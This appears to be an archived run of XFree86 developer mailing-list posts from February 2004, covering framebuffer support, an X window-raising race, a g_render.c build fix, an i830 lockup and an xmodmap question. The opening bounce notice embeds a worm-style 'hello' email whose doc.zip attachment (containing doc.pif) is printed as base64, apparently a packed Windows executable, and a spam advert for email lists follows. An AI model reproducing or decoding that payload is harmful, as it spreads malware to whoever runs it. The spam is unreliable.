failure notice
Hi. This is the qmail-send program at . I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. [EMAIL PROTECTED]: This address no longer accepts mail. --- Below this line is a copy of the message. Return-Path: [EMAIL PROTECTED] Received: (qmail 43023 invoked from network); 5 Feb 2004 08:13:04 - Received: from w1001.widhost.net (209.235.192.251) by w215.widhost.net with SMTP; 5 Feb 2004 08:13:04 - Received: from xfree86.org (dsl-213-023-041-077.arcor-ip.net [213.23.41.77]) by w1001.widhost.net (Postfix) with ESMTP id 7A8A6214B9 for [EMAIL PROTECTED]; Thu, 5 Feb 2004 03:13:02 -0500 (EST) From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: hello Date: Thu, 5 Feb 2004 09:13:04 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary==_NextPart_000_0009_224635D2.FE94A423 X-Priority: 3 X-MSMail-Priority: Normal Message-Id: [EMAIL PROTECTED] This is a multi-part message in MIME format. --=_NextPart_000_0009_224635D2.FE94A423 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment. --=_NextPart_000_0009_224635D2.FE94A423 Content-Type: application/octet-stream; name=doc.zip Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=doc.zip UEsDBAoAAKJBRTDKJx+eAFgAAABYAAAHZG9jLnBpZk1akAADBP//AAC4 AEAAAKgA AFBFAABMAQMA4AAP AQsBBwAAUBBgAABgvgAAAHDAAEoAABACAAAEAAQA ANAQAgAAEAAAEAAQAAAQEAAA6MEAADAB wAAA6AEA VVBY MAAAYBAABAAAgAAA4FVQWDEAAFBwUAAA AAQAAEAAAOAucnNyYwAQwAQAAABUAABA AADA ADEu MjQAVVBYIQwJAglIfomP1DYcgSmWAABTTgAAAIAAACYBAMXuhwKSAFAmSgBAA/2yaZosEAT0JegB AEvOaZpu2R/IKsADuLCopmmapqCYkIiAmqZpmnhwaGBYUM1gn2lIAEQHODA0TdN0AygkHBgQ0yy7 1wgjA/gp8OhN0zRN4NjQyLy0NE3TNKyknJSMzjZN04h8cGgpb1ym6ZrBB1RMA0Q4mqZpmiwkHBQM BGmazm38KH8D9OzkpmmaptzUzMi8mqZpmrSspKCYkGebpmmMgHhwKHto3mzTdQdcA1RMKP/7C3a2 ++NADzQo9ywvA5qmGfkkKEocFAwEaZrO7Jv8JwPs6OCmaZqm2NTMyMCapmm6uCewrKigmGmapmmU jIiEfKRpmqZ0bGRcVGmaphtMA0RAODCmaZqmKCAYEAiapnObAPgmzwPo4Nhnm85tVDRDA0A0NNuK /51a0Nrl9AYfM05sck7YApdfksgBPXy+Q0uW5DWJ4DqX//dawCmVBHbrY95c3WHocv+P IrhR7Ywu03sm1A058Kpn/yfqsHlFFOa7k25MLRH44s+/sqihnZyeo6u2xNXpABo3/1d6 oMn1JFaLw/48fcEIUp/vQpjxTawOc9tGtCWZEIoH/4cKkBmlpaj+8sPSqPgSLEprj7bgDT1w pt8bWnzhJ1XJ/xJgvhhl1TieF3PiVIlBvJrjP8ZQjW0Alk/LagyxQ3qy/3MXzohHBciK VyPyxJlxTC4L79bArZ2Qhg97enyRiZSi/7PH3voVNVh+p8MCNHmh3Bpbj+Ywbc0gds8rivxR uSSS/wN37mjlZehul4ODdoyVobDC1+8KKEltlL7rG06Evfk4/3q/B1Kg8UVsllOzGnzl UcAypx+aGJkdpC67S950DalI/+qPN+KQQfWsZiPjpmw1AdCid08qCOnNtJ6Le25kXVlY /1pfZ3KAkaW81vMTNlyFseASR3+6+Dl9xA5bq/5UrQk9/5p3pwJw4VXMBsNDxlzVYWFkanN/ jKC1zegGJ0tynMn5/yxim1cWWH2wYCb+I3rUMZHkWsMvzhCF/XT2d/uADJkp/7xS64cm yG0VwG4fk4pE4ZTUEiHfroBVLRjmx6vyfGlZ/05COzc4OD1FUF5vg5q00fEUOmPPvvDlbLbk I1v3vGGo/9A7ie5zPGP4meDFS5EXoSHeIrM/P1RIUXtvftbP2W6V/9/+/ykDI+mUCb/m86VB EKZ8MmlrgCELLcdO0hCCbPn/c6d33hSHBwf7UqoBYcAsm/cmlt2XnSJgD0aezf0sQH// k7LS8QkgWHZoY11QUlFTamR3ASzF71QwvFcRPM6dV27/IOOtYNrRUhXOZl+3QcAU5GWTn3j+ cg2852qVe3sTdnb/fRwNLfL29LDx0ed5+t1MZaP/J2yM3QvbjBupvXWHO0//2xSCQhQJ RcyCD/pitylz+xWD5x6TfrQkaSn/vSjL6k7//+3/dw46sL/3VNTsc5gBTQad8qKvwmLz5V433wVx Uv8H+BtAflQ+p6lPLAJ9MMjnBtJUKhprTAGdBPZq+h3HBv+F///4HZAEq5YABgYQK++Z1E7/ F3gLk8b4dSGMpP9f/8xya+tv/qX97NBByXiR2cSsJsfo4Km3Gl1v7CkQo/+88+31b1Eh NY3WUxxIKRjjt1w/nbjN0FJV47VD6r5n4/+goDLizkk6JC8wCo+uhOF1QKFimLL1MErg4/+R gcEnB/93iGePVLOFCOL+gkWrYY502rsqOK7wStQYnBeKSMK1vP+e+x9W5m6Q4DtHs6Aa t9KqvMT3k0imAcAE/wYSi12p2P+9lDH4H+haYz7f1grKQtUMXmBJcvX0rvRTF/wWFfKOmv// //9zcDyCseKON1tTFqInlFRYrLE1Nz6qdWWVIW7rGoSBav/mChg/OpWfgYLjc6RHPQkC1i6I
Re: does XFree86 need kernel framebuffer support?
On Thu, 5 Feb 2004, [iso-8859-1] Suresh Chandra Mannava wrote: Does XFree86 need kernel framebuffer support? Or it's have its own framebuffer interface? what will be the performance gain if we use kernel framebuffer support? If we use a particular server for example Mach64 server, it has its own (user mode) graphic driver which supports graphic card. Does it still requires any type of support from the kernel? XFree86 does not in general need kernel framebuffer support for hardware which is supported by an XFree86 driver, as it has its own framebuffer interface. There are two cases where XFree86 does need kernel support. * Chipsets like the i810/i815/i835/... family have no framebuffer memory but use main system memory for the framebuffer. This requires agpgart support from the kernel. * Most hardware 3D acceleration, whether DRI-based or manufacturer supplied, uses kernel support for access to the chip. I think this is more to control access to the graphics engine than to the frame buffer directly. The XFree86 mach64 driver does not use kernel support, but there are alternative drivers such as GATOS, which provide features which ours does not have - TV out and hardware 3D. I'm hazy on the details, but some of these use kernel modules, including agpgart, or for pcicards a pcigart module. There is an XFree86 driver (fbdev IIRC) which uses kernel framebuffer support, and some XFree86 drivers can work with a kernel framebuffer when reqiested. The kernel has extra support for some hardware, but in general it doesn't use the graphics engine much, so is fairly slow. I don't have direct experience, but I'd expect that the XFree86 drivers are faster than kernel framebuffer support in most cases. -- Andrew C. Aitchison Cambridge [EMAIL PROTECTED] ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
W.D.C. Sales - presents your list of business prospects
Build your own unique super-targeted extremely responsive email list from a massive international database. Get the perfect list for as little as $99 Call us today to find out more: 1-866-662-3388 Or reply to this email with the subject send more info. World Data Corporation Sun Towers Building, 1st Floor, Office #39 Betania, Panama City, Zona 6, Rep.Of Panama Legal Department Telephone: +54-11-4032-1008 To unsubscribe simply reply to this email with the subject unsubscribe or call: 1-866-457-8755 ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: VisibilityNotify/XRaiseWindow question
What is probably needed is a property on the root window that
both apps pay attention to, sort of like a mutex. The first one
to get there sets it and the other honors this request.
In the case of xlock, you have a problem since the purpose is to
lock the screen. I would think that you would have to have special
code in xbattbar to yield to xlock, since it is probably more
important to lock your screen than display your battery life.
On the hand, you might want to make that configurable.
Rick
Hi!
This is a general question on X client design. Please excuse me that
it is not directly related to the XFree86 Project.
Imagine there are two clients running the same code:
while (!done)
{
XWindowEvent(... | VisibilityChangeMask, theEvent);
switch (theEvent.type)
{
...
case VisibilityNotify:
XRaiseWindow(...);
break;
}
}
Obviously, there's a race here. Both clients are fighting to get on top.
There's a real example of this problem. One application is called
xbattbar (which is a battery status indicator), another is xlock
(used as screensaver).
What would be the right way to solve this problem?
Thanks for any answers in advance!
--
+--+
| Rick Beldin| Hewlett-Packard Company|
|| Global Solutions Engineering |
|| 20 Perimeter Summit|
|| Atlanta, GA 30319 |
+--+
___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel
Re: does XFree86 need kernel framebuffer support?
Andrew C Aitchison wrote: XFree86 does not in general need kernel framebuffer support for hardware which is supported by an XFree86 driver, as it has its own framebuffer interface. There are two cases where XFree86 does need kernel support. * Chipsets like the i810/i815/i835/... family have no framebuffer memory but use main system memory for the framebuffer. This requires agpgart support from the kernel. This doesn't actually REQUIRE agpgart support from the kernel unless you're doing bus mastering. The ProSavages are UMA chips, with their frame buffers in main memory, and as long as the BIOS has done the proper division of memory at boot time, that's all it needs. -- - Tim Roberts, [EMAIL PROTECTED] Providenza Boekelheide, Inc. ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
g_render.c needs a paren
Building on FreeBSD/Alpha version 5.2 with gcc 3.3.3:
In building the world from a Wednesday morning CVS update, g_render.c
in xc/programs/Xserver/GL/glx failed to compile. The root problem
was a missing right paren, fixed by the patch included below.
Terry R. Friedrichsen
[EMAIL PROTECTED]
cut here-
*** g_render.c.dist Wed Jan 28 11:11:50 2004
--- g_render.c Wed Feb 4 09:50:41 2004
***
*** 83,89
*/
# define GLX_DO_ALIGN_MAGIC(count, type) \
do { if ( (sizeof(type) == 8) ((unsigned long)(pc) 7)) { \
! __GLX_MEM_COPY(pc-4, pc, (count * sizeof( type ) ); \
pc -= 4; \
} } while( 0 )
#else
--- 83,89
*/
# define GLX_DO_ALIGN_MAGIC(count, type) \
do { if ( (sizeof(type) == 8) ((unsigned long)(pc) 7)) { \
! __GLX_MEM_COPY(pc-4, pc, (count * sizeof( type ) )); \
pc -= 4; \
} } while( 0 )
#else
___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel
Re: g_render.c needs a paren
On Thu, Feb 05, 2004 at 11:21:32AM -0700, Terry R. Friedrichsen wrote:
Building on FreeBSD/Alpha version 5.2 with gcc 3.3.3:
In building the world from a Wednesday morning CVS update, g_render.c
in xc/programs/Xserver/GL/glx failed to compile. The root problem
was a missing right paren, fixed by the patch included below.
This was fixed a few days ago.
But, thanks anyway Terry,
Alan.
cut here-
*** g_render.c.dist Wed Jan 28 11:11:50 2004
--- g_render.cWed Feb 4 09:50:41 2004
***
*** 83,89
*/
# define GLX_DO_ALIGN_MAGIC(count, type) \
do { if ( (sizeof(type) == 8) ((unsigned long)(pc) 7)) { \
! __GLX_MEM_COPY(pc-4, pc, (count * sizeof( type ) ); \
pc -= 4; \
} } while( 0 )
#else
--- 83,89
*/
# define GLX_DO_ALIGN_MAGIC(count, type) \
do { if ( (sizeof(type) == 8) ((unsigned long)(pc) 7)) { \
! __GLX_MEM_COPY(pc-4, pc, (count * sizeof( type ) )); \
pc -= 4; \
} } while( 0 )
#else
___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel
___
Devel mailing list
[EMAIL PROTECTED]
http://XFree86.Org/mailman/listinfo/devel
i830 crash
Hi all ;), I got an X crash with X 4.3.0, here is the error log. By the way, are there many bugfixes in the i830 driver for the upcoming 4.4.0 release? Maybe i'm asking for a problem already fixed in CVS... Gtk-CRITICAL **: file gtkmain.c: line 582 (gtk_main_quit): assertion `main_loops != NULL' failed. .Error in I830WaitLpRing(), now is 6464996, start is 6462995 pgetbl_ctl: 0xff60001 pgetbl_err: 0x0 ipeir: 0 iphdr: 0 LP ring tail: 8 head: 0 len: 0 start 0 eir: 0 esr: 0 emr: instdone: ffc0 instpm: 0 memmode: 108 instps: 0 hwstam: ier: 0 imr: iir: 0 space: 131056 wanted 131064 .[drm:i830_wait_ring] *ERROR* space: 131048 wanted 131064 [drm:i830_wait_ring] *ERROR* lockup . Fatal server error: lockup Thanks, -- David Gómez The question of whether computers can think is just like the question of whether submarines can swim. -- Edsger W. Dijkstra ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: i830 crash
On Thu, Feb 05, 2004 at 08:57:47PM +0100, David Gómez wrote: Hi all ;), I got an X crash with X 4.3.0, here is the error log. By the way, are there many bugfixes in the i830 driver for the upcoming 4.4.0 release? Maybe i'm asking for a problem already fixed in CVS... You should try it as there have been some reports that this has been fixed for them. Alan. ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: does XFree86 need kernel framebuffer support?
On Thu, Feb 05, 2004 at 06:34:42AM +, Suresh Chandra Mannava wrote: Does XFree86 need kernel framebuffer support? Or it's have its own framebuffer interface? It can use the kernel's framebuffer if available, else a VBE 2.0 linear frame buffer can be utilized with no necessary kernel support. (see vesa driver in XFree86 similar to vesafb in kernel) what will be the performance gain if we use kernel framebuffer support? If we use a particular server for example Mach64 server, it has its own (user mode) graphic driver which supports graphic card. Does it still requires any type of support from the kernel? No. That is also an accelerated driver which uses the hardware features of the card to speed typical GUI drawing operations. The VESA framebuffer and/or the kernel framebuffer will usually not have any form of acceleration for graphics primitives. -- Ryan Underwood, [EMAIL PROTECTED] signature.asc Description: Digital signature
Re: Manufacturers who fully disclosed specifications for agp cards?
Mike A. Harris wrote: On Tue, 3 Feb 2004, Knut J Bjuland wrote: Date: Tue, 03 Feb 2004 15:52:53 +0100 From: Knut J Bjuland [EMAIL PROTECTED] To: [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] Content-Type: text/plain; charset=us-ascii; format=flowed Subject: Re: Manufacturers who fully disclosed specifications for agp cards? It is possible to gain the specs for a chip by discetion for i.e R300 chip or NV 30 chips with the right tools like a electon microscope? Not unless you're using the electron microscope somehow to break into ATI or Nvidia headquarters, perhaps swinging it from a crane to break a window or something. Well, a more realistic way would be to disassemble their Windows drivers. Or if they have a binary-only Linux driver, that one would be simpler than the Windows one. Of course that may be violating DMCA and they may send a mob of lawyers after you. On the other hand, the copyright laws in Europe are different, so maybe it's OK to do there. I know for sure that the Russian copyright law expressly allows disassembling the codes for the purpose of learning the programmatic interfaces. I've heard different opinions about what DMCA thinks about it in US. -SB ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
Re: does XFree86 need kernel framebuffer support?
Tim Roberts wrote: Andrew C Aitchison wrote: XFree86 does not in general need kernel framebuffer support for hardware which is supported by an XFree86 driver, as it has its own framebuffer interface. There are two cases where XFree86 does need kernel support. * Chipsets like the i810/i815/i835/... family have no framebuffer memory but use main system memory for the framebuffer. This requires agpgart support from the kernel. This doesn't actually REQUIRE agpgart support from the kernel unless you're doing bus mastering. The ProSavages are UMA chips, with their frame buffers in main memory, and as long as the BIOS has done the proper division of memory at boot time, that's all it needs. Many of the cards in the i810 family have only a very limited amount of video memory on the card. So if you want to get anything over 800x600 on them, you need agpgart. On some of them the i810 driver won't start even in 800x600 mode, so VESA is the only option. -SB ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
bug in xmodmap?
My xmodmap (Apple 1.0) has the strange feature that Shift+Meta_R behaves the same as Shift+Insert. Here's my xmodmap, that's the best thing I can think of to send as documentation, but please let me know if you have any questions (or suggestions). ! .kinesis.bigpuppy an Xmodmap file geared towards math. ! Sat Sep 13 21:16:58 2003 ! I haven't taken the time to fix the function keys. keycode 8 = a A underscore !** ! Left !** keycode 9 = o O Left !** ! Down !** keycode 10 = e E Down !** ! Right !** keycode 11 = u U Right keycode 12 = d D minus !** ! End !** keycode 13 = i I asciicircum keycode 14 = semicolon colon bracketleft keycode 15 = q Q bracketright keycode 16 = j J braceleft keycode 17 = k K braceright keycode 19 = x X dollar keycode 20 = apostrophe quotedbl grave keycode 21 = comma less BackSpace !** ! Up !** keycode 22 = period greater Up keycode 23 = p P Delete keycode 24 = f F plus keycode 25 = y Y equal keycode 26 = 1 exclam keycode 27 = 2 at keycode 28 = 3 numbersign keycode 29 = 4 dollar keycode 30 = 6 asciicircum keycode 31 = 5 percent Sys_Req ! equal plus keycode 32 = sterling yen yen keycode 33 = 9 parenleft keycode 34 = 7 ampersand ! minus underscore keycode 35 = slash question asciitilde keycode 36 = 8 asterisk keycode 37 = 0 parenright ! bracketleft braceleft keycode 38 = Hyper_R keycode 39 = r R Delete keycode 40 = g G BackSpace keycode 41 = Super_R keycode 42 = c C Up keycode 43 = l L asciicircum !** ! Second space key !** ! Insert is used to _insert_ a pair of matching paretheses keycode 44 = Mode_switch Insert Insert keycode 45 = n N Right keycode 46 = h H Left keycode 47 = backslash bar keycode 48 = t T Down keycode 49 = s S underscore ! .ibook sets this to Meta_R, on the kinesis dev keyboard its slash keycode 50 = eacute keycode 51 = w W braceright keycode 52 = z Z parenright keycode 53 = b B currency keycode 54 = m M braceleft keycode 55 = v V parenleft ! Tab -- rebound to keycode 56 = egrave !** ! First (real) space key !** ! it is better to have space space, because one often types (shift space) keycode 57 = space space currency ! grave asciitilde keycode 58 = Hyper_L !** ! First (real) backspace key !** keycode 59 = BackSpace BackSpace section ! KP-Enter keycode 60 = Return ! Escape keycode 61 = Escape ! ! the upper two tiers of the toprow thumb keys need creative work. ! BUT: note that I am now of the opinion that using the upper and inner ! thumb keys is somewhat ANERGONOMIC. I am now working to ! minimize their use. ! ! ! thumb key labeled F ! Note: this key is allegedly used to get a button three event... keycode 63 = Tab ! Shift keysyms !!! keycode 64 = Shift_L NoSymbol NoSymbol NoSymbol !!! ! Caps Lock (impossible to turn it into a modifier) --! ! even when using a separate keyboard! How silly! ! ! Note, however, that with the Kinesis remapping feature there is ! ! an easy work-around, namely to (re)move the capslock key. ! ! now I have a new key in its place that is set to do Mode_switch. ! ! The following is therefore just a remenant of times gone by. ! !!! keycode 65 = Select Insert ! ! thumb key labeled K
Re: [Dri-devel] GL_VERSION 1.5 when indirect rendering?
Andreas Stenglein wrote: Am 2004.02.04 21:00:14 +0100 schrieb(en) Brian Paul: Ian Romanick wrote: [snip] Making that change and changing the server-side to not advertise a core version that it can't take protocol for would fix the bug for 4.4.0. Do you think anything should be done to preserve text after the version? That is, if a server sends us 1.4.20040108 Foobar, Inc. Fancypants GL, should we return 1.2 or something more elaborate? It would be nice to preserve the extra text, but it's not essential. why not just add the 1.2 before the original text? 1.2 1.4.20040108 Foobar, Inc. Fancypants GL so you would see that the renderer could support 1.4 if GLX could do it. Yeah, I guess that could be done. -Brian ___ Devel mailing list [EMAIL PROTECTED] http://XFree86.Org/mailman/listinfo/devel
